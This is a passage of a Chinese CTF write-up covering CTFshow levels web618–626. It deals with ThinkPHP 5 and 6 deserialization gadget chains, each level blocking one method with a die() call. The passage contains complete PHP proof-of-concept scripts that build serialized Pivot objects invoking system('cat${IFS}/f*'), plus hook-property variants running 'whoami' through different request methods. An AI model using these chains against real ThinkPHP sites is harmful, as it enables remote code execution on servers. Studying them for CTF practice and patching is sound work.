// 获取模板文件名
$template = $this->parseTemplate($template);
}
// 模板不存在 抛出异常
if (!is_file($template)) {
throw new TemplateNotFoundException('template not exists:' . $template, $template);
}
$this->template = $template;
// 记录视图信息
$this->app
->log('[ VIEW ] ' . $template . ' [ ' . var_export(array_keys($data), true) . ' ]');
extract($data, EXTR_OVERWRITE);
include $this->template;
}
估计还是show和变量覆盖的rce
web618(禁invokeFunction)
上题poc秒了
新waf:
../thinkphp/library/think/Container.php
/**
* 执行函数或者闭包方法 支持参数调用
* @access public
* @param mixed $function 函数或者闭包
* @param array $vars 参数
* @return mixed
*/
public function invokeFunction($function, $vars = [])
{
die("此链不通");
try {
$reflect = new ReflectionFunction($function);
$args = $this->bindParams($reflect, $vars);
return call_user_func_array($function, $args);
} catch (ReflectionException $e) {
throw new Exception('function not exists: ' . $function . '()');
}
}
是上面未开启强制路由rce的反射方法
web619(禁each)
上题poc又秒了。。
新waf:
../thinkphp/library/think/Collection.php
/**
* 给每个元素执行个回调
*
* @access public
* @param callable $callback
* @return $this
*/
public function each(callable $callback)
{
die("此链不通");
foreach ($this->items as $key => $item) {
$result = $callback($item, $key);
if (false === $result) {
break;
} elseif (!is_object($item)) {
$this->items[$key] = $result;
}
}
return $this;
}
不懂
web620(禁map)
poc一穿八了
新waf:
../thinkphp/library/think/Collection.php
/**
* 用回调函数处理数组中的元素
* @access public
* @param callable|null $callback
* @return static
*/
public function map(callable $callback)
{
die("此链不通");
return new static(array_map($callback, $this->items));
}
不懂
web621(禁filter)
一穿九
新waf:
/**
* 用回调函数过滤数组中的元素
* @access public
* @param callable|null $callback
* @return static
*/
public function filter(callable $callback = null)
{
die("此链不通");
if ($callback) {
return new static(array_filter($this->items, $callback));
}
return new static(array_filter($this->items));
}
web622(禁reduce)
一穿十!
新waf:
../thinkphp/library/think/Collection.php
/**
* 通过使用用户自定义函数,以字符串返回数组
*
* @access public
* @param callable $callback
* @param mixed $initial
* @return mixed
*/
public function reduce(callable $callback, $initial = null)
{
die("此链不通");
return array_reduce($this->items, $callback, $initial);
}
input链
前面那个通杀的poc是基于param方法的
现在我们直接利用input方法,即从__call
直接进到input
全局搜input
则poc改成
$this->route = ['0w0'=>'whoami'];
$this->hook = ['visible'=>[$this,"route"]];
poc改成
$this->get = ['0w0'=>'whoami'];
$this->hook = ['visible'=>[$this,"get"]];
poc改成
$this->hook = ['visible'=>[$this,"post"]];
然后发post请求rce
$this->hook = ['visible'=>[$this,"put"]];
put请求
$this->hook = ['visible'=>[$this,"request"]];
get或者post都可以
说白了就是请求方法不同
TP6
web623(TP6反序列化)
报错显示v6.0.8,但是可以用6.0.1的链打掉
poc:
<?php
namespace think\model\concern;
trait Attribute
{
private $data = ["key"=>"cat\${IFS}/f*"];
private $withAttr = ["key"=>"system"];
}
namespace think;
abstract class Model
{
use model\concern\Attribute;
private $lazySave = true;
protected $withEvent = false;
private $exists = true;
private $force = true;
protected $name;
public function __construct($obj=""){
$this->name=$obj;
}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{}
$a=new Pivot();
$b=new Pivot($a);
echo urlencode(serialize($b));
web624(6.0.12链)
可以用6.0.12的链子打掉
poc:
<?php
namespace think\model\concern;
trait Attribute
{
private $data = ["key" => ["key1" => "cat\${IFS}/f*"]];
private $withAttr = ["key"=>["key1"=>"system"]];
protected $json = ["key"];
}
namespace think;
abstract class Model
{
use model\concern\Attribute;
private $lazySave;
protected $withEvent;
private $exists;
private $force;
protected $table;
protected $jsonAssoc;
function __construct($obj = '')
{
$this->lazySave = true;
$this->withEvent = false;
$this->exists = true;
$this->force = true;
$this->table = $obj;
$this->jsonAssoc = true;
}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
}
$a = new Pivot();
$b = new Pivot($a);
echo urlencode(serialize($b));
waf:
../vendor/topthink/think-orm/src/model/concern/Attribute.php
果然是这里
if (isset($this->withAttr[$fieldName])) {
if ($relation) {
$value = $this->getRelationValue($relation);
}
if (in_array($fieldName, $this->json) && is_array($this->withAttr[$fieldName])) {
$value = $this->getJsonValue($fieldName, $value);
} else {
$closure = $this->withAttr[$fieldName];
die("此链不通");
$value = $closure($value, $this->data);
}
}
web625(禁display)
上一题的poc秒了
waf:
../vendor/topthink/framework/src/think/view/driver/Php.php
public function display(string $content, array $data = []): void
{
$this->content = $content;
die("此链不通");
extract($data, EXTR_OVERWRITE);
eval('?>' . $this->content);
}
web626(禁call)
上一题poc秒了
waf:
../vendor/topthink/framework/src/think/Validate.php
public function __call($method, $args)
{
die("此链不通");
if ('is' == strtolower(substr($method, 0, 2))) {
$method = substr($method, 2);
}
array_push($args, lcfirst($method));
return call_user_func_array([$this, 'is'], $args);
}